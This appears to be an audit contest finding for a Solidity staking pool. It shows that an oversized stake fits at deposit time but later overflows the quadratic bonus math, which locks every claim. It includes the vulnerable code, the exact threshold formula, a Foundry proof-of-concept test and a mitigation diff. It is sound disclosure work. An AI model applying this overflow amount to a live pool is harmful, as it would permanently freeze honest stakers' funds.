FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unbounded raw stake can overflow lifecycle/bonus math and lock claims

Author Revealed upon completion

Root + Impact

Description

stake() admits raw token amounts using only deposit-time products, although later lifecycle and claim paths multiply the same stake by larger timestamps and materialize wider quadratic intermediates.

The pool distributes bonus according to the k=2 score amount * (T - entryTime)^2. To avoid storing every deposit, it records the first and second absolute-time moments amount * entryTime and amount * entryTime^2, then reconstructs each score at resolution as:

T^2 * amount - 2 * T * sumStakeTime + sumStakeTimeSq

stake() accepts a deposit whenever its moments at the current entryTime fit in uint256. It does not bound the user's or pool's aggregate raw stake against the latest possible lifecycle timestamp, even though every relevant timestamp is bounded by expiry.

This creates two related latent overflow states:

  • A pre-risk stake can fit at its entry timestamp but overflow the eager totalEligibleStake * riskWindowStart^2 reset after time advances. Every active-risk observation then reverts. Because claimExpired() observes the live registry before resolving, it also reverts at maturity while the agreement remains active-risk.

  • A post-risk stake can fit all stored moments but overflow the expanded positive claim term T^2 * snapshotTotalStaked + snapshotSumStakeTimeSq. The true score after cancellation can fit comfortably, but Solidity reverts before reaching the subtraction. This global term is evaluated by every claimant, so one large stake blocks even an honest user's small claim.

The claim-time branch is reached whenever the pool has a nonzero observed risk window and a nonzero bonus. Claims revert before principal is transferred, and sweepUnclaimedBonus() treats the same unclaimable principal and bonus as reserved. A resolved pool therefore has no remaining recovery path.

src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
// ... validation and transfer omitted ...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
_clampUserSums(msg.sender);
uint256 newEntry = block.timestamp;
// ... entry floor omitted ...
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry; // @> Only deposit-time fit is enforced.
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
totalEligibleStake += received; // @> No lifecycle-wide raw-stake cap.
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
emit Staked(msg.sender, received);
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
// ... marker write omitted ...
sumStakeTime = totalEligibleStake * t;
sumStakeTimeSq = totalEligibleStake * t * t; // @> A later observation can overflow.
emit RiskWindowStarted(t);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq; // @> Shared overflow.
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
// ... zero-duration fallback omitted ...
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

For a deposit at time e and resolution at T > e, the first claim-overflowing amount can be selected as:

amount = floor((2^256 - 1) / (e^2 + T^2)) + 1

Then amount * e^2 fits during stake(), while the later positive term amount * (e^2 + T^2) overflows. The mathematically correct result amount * (T - e)^2 can still be far below type(uint256).max.

At the test suite's timestamp e = 1,750,000,000 and T = e + 1 day, the exact threshold is approximately 1.8904e58 raw units. This is infeasible for a conventional 18-decimal asset, but it is only about 0.019 nominal tokens for a standard ERC-20 with 60 decimals. Neither ERC-20 nor ConfidencePoolFactory's boolean token allowlist constrains decimals, raw supply, or the arithmetic domain accepted by a pool.

Risk

Likelihood:

  • The factory owner must allowlist a token whose raw supply and attacker balance can reach approximately 1e58 units. The owner-controlled allowlist materially reduces exposure, and conventional 18-decimal assets do not approach the threshold.

  • Permanent pool-wide claim lock additionally requires a nonzero bonus, an observed active-risk window, and a SURVIVED or EXPIRED resolution. All three are ordinary protocol states once a qualifying asset is admitted.

Impact:

  • One unprivileged stake permanently blocks every remaining SURVIVED or EXPIRED principal-and-bonus claim, including claims from ordinary-sized honest stakers, because all users evaluate the same overflowing global score.

  • sweepUnclaimedBonus() cannot recover the funds because it correctly reserves all outstanding principal and bonus liabilities. The pool clone has no alternate withdrawal or administrative repair path after resolution.

  • A different accepted amount can block every active-risk observation and claimExpired() while the registry remains active-risk. A later terminal transition can restore principal access, but the missed risk-window witness causes the full bonus to become sweepable instead of payable to stakers.

  • The attacker must also lock their own stake, so the primary incentive is griefing rather than direct profit.

Proof of Concept

Create test/audit/CP002UnboundedStakeOverflow.t.sol with the following contents:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CP002UnboundedStakeOverflowTest is BaseConfidencePoolTest {
function test_AcceptedStakeOverflowsBonusMathAndLocksEveryClaim() external {
uint256 entry = block.timestamp;
uint256 terminal = entry + 1 days;
_stake(bob, ONE);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
// The deposit-time moments fit, but the positive side of the expanded claim-time
// polynomial is guaranteed to exceed uint256 for every terminal >= entry.
uint256 whaleStake = type(uint256).max / (2 * entry * entry) + 1;
_stake(alice, whaleStake);
_contributeBonus(carol, 1);
vm.warp(terminal);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
// Bob's own numerator is small, but every claimant evaluates the poisoned global score.
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
vm.prank(alice);
vm.expectRevert(stdError.arithmeticError);
pool.claimSurvived();
assertEq(pool.totalEligibleStake(), whaleStake + ONE, "principal accounting remains locked");
assertEq(token.balanceOf(address(pool)), whaleStake + ONE + 1, "the full balance remains in the pool");
// The sweep treats the unclaimable principal and bonus as reserved, so it is not an exit.
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
pool.sweepUnclaimedBonus();
}
function test_AcceptedPreRiskStakeBlocksObservationAndExpiryResolution() external {
uint256 entry = block.timestamp;
uint256 laterObservation = entry + 1;
// This fits amount * entry^2 in stake(), but not amount * laterObservation^2 when the
// first active-risk observation eagerly resets the aggregate moments.
uint256 whaleStake = type(uint256).max / (laterObservation * laterObservation) + 1;
_stake(alice, whaleStake);
_stake(bob, ONE);
vm.warp(laterObservation);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "the reverting observation cannot persist the risk window");
// claimExpired() performs the same observation before resolving or returning principal.
// Keeping the registry active-risk therefore defeats the pool's own expiry deadline.
vm.warp(pool.expiry());
vm.prank(bob);
vm.expectRevert(stdError.arithmeticError);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.UNRESOLVED));
assertEq(pool.eligibleStake(alice), whaleStake);
assertEq(pool.eligibleStake(bob), ONE);
assertEq(token.balanceOf(address(pool)), whaleStake + ONE);
}
}

Run the PoC from the repository root:

  1. Execute forge test --offline --match-path test/audit/CP002UnboundedStakeOverflow.t.sol -vv.

  2. Confirm that both tests pass and the suite reports two tests passed with zero failures.

Recommended Mitigation

Enforce one aggregate raw-stake invariant against the maximum possible timestamp before recording a measured deposit. Since every entry, risk-window marker, and resolution timestamp is at most expiry, the conservative bound below keeps the eager reset, both positive additions, and both doubled subtraction terms within uint256:

src/interfaces/IConfidencePool.sol
+error StakeCapacityExceeded();
src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
// ... validation and transfer omitted ...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 expiry_ = uint256(expiry);
+ uint256 maxEligibleStake = type(uint256).max / (2 * expiry_ * expiry_);
+ if (
+ totalEligibleStake > maxEligibleStake
+ || received > maxEligibleStake - totalEligibleStake
+ ) revert StakeCapacityExceeded();
_clampUserSums(msg.sender);
// ... unchanged accounting omitted ...
emit Staked(msg.sender, received);
}

The subtraction-form capacity check avoids overflowing while testing the post-deposit aggregate. Apply the same bound to minStake during initialization, document it as an allowlist requirement, and add exact-boundary plus multi-staker aggregate tests for risk-window observation and both SURVIVED and EXPIRED claims.

If the protocol must support larger raw-unit domains, replace the absolute-timestamp expansion with a proven full-precision implementation that performs the positive terms, doubled terms, and cancellation above 256 bits. Moving only the final bonus multiplication into Math.mulDiv is insufficient because the overflow occurs while constructing userPlus, userMinus, plus, or minus first.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!